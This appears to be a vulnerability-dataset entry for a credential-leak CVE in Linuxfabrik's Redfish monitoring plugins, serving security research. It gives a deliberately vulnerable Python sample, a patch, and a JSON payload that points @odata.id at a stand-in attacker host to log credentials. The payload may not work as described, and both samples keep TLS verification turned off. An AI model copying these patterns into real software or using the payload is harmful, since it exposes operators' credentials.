VAITP Dataset

← Back to the dataset

CVE-2026-67436

Redfish plugins leak credentials via malicious BMC-controlled redirects.

  • CVSS 8.3
  • 20
  • Input Validation and Sanitization
  • Remote

Linuxfabrik monitoring-plugins provides Python monitoring plugins for Icinga, Nagios, and related monitoring systems. In 6.0.0 and earlier, the redfish-* plugins built request URLs by concatenating an operator-supplied base URL with response-supplied @odata.id links, allowing a malicious or compromised BMC to redirect authenticated Redfish requests and disclose X-Auth-Token or HTTP Basic credentials.

CWE
20
CVSS base score
8.3
Published
2026-07-29
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Linuxfabrik
Fixed by upgrading
Yes

Solution

Upgrade to linuxfabrik monitoring-plugins version 6.1.0.

Vulnerable code sample

import requests
from urllib.parse import urljoin

def get_first_member_details(base_url, auth, collection_path):
    """
    Fetches details for the first member of a Redfish collection.
    The base_url is operator-supplied (e.g., https://bmc.example.com).
    """
    collection_endpoint = urljoin(base_url, collection_path)
    
    # Get the list of members in the collection
    collection_resp = requests.get(collection_endpoint, auth=auth, verify=False)
    collection_resp.raise_for_status()
    members = collection_resp.json().get('Members', [])
    
    if not members:
        return None

    # Get the @odata.id link, which is supplied by the remote service (BMC)
    member_link = members[0].get('@odata.id')
    if not member_link:
        return None

    # VULNERABLE: A malicious BMC can return a full URL to redirect the authenticated request.
    details_url = urljoin(base_url, member_link)

    # This request, with its credentials, may be sent to a malicious external host
    details_resp = requests.get(details_url, auth=auth, verify=False)
    details_resp.raise_for_status()
    
    return details_resp.json()

Patched code sample

import requests
from urllib.parse import urljoin, urlparse

def get_first_member_details(base_url, auth, collection_path):
    """
    Fetches details for the first member of a Redfish collection.
    The base_url is operator-supplied (e.g., https://bmc.example.com).
    """
    collection_endpoint = urljoin(base_url, collection_path)
    
    # Get the list of members in the collection
    collection_resp = requests.get(collection_endpoint, auth=auth, verify=False)
    collection_resp.raise_for_status()
    members = collection_resp.json().get('Members', [])
    
    if not members:
        return None

    # Get the @odata.id link, which is supplied by the remote service (BMC)
    member_link = members[0].get('@odata.id')
    if not member_link:
        return None

    # FIX: Ensure the '@odata.id' link is a relative path, not an absolute URL.
    parsed_link = urlparse(member_link)
    if parsed_link.scheme or parsed_link.netloc:
        raise ValueError(f"Disallowed absolute URL in @odata.id: {member_link}")
    
    details_url = urljoin(base_url, member_link)

    # This request is now guaranteed to target the original base_url host
    details_resp = requests.get(details_url, auth=auth, verify=False)
    details_resp.raise_for_status()
    
    return details_resp.json()

Payload

{
  "Name": "Malicious Member Link",
  "Members@odata.count": 1,
  "Members": [
    {
      "@odata.id": "@attacker-server.com/log_credentials"
    }
  ]
}

Cite this entry

@misc{vaitp:cve202667436,
  title        = {{Redfish plugins leak credentials via malicious BMC-controlled redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-67436},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-67436/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::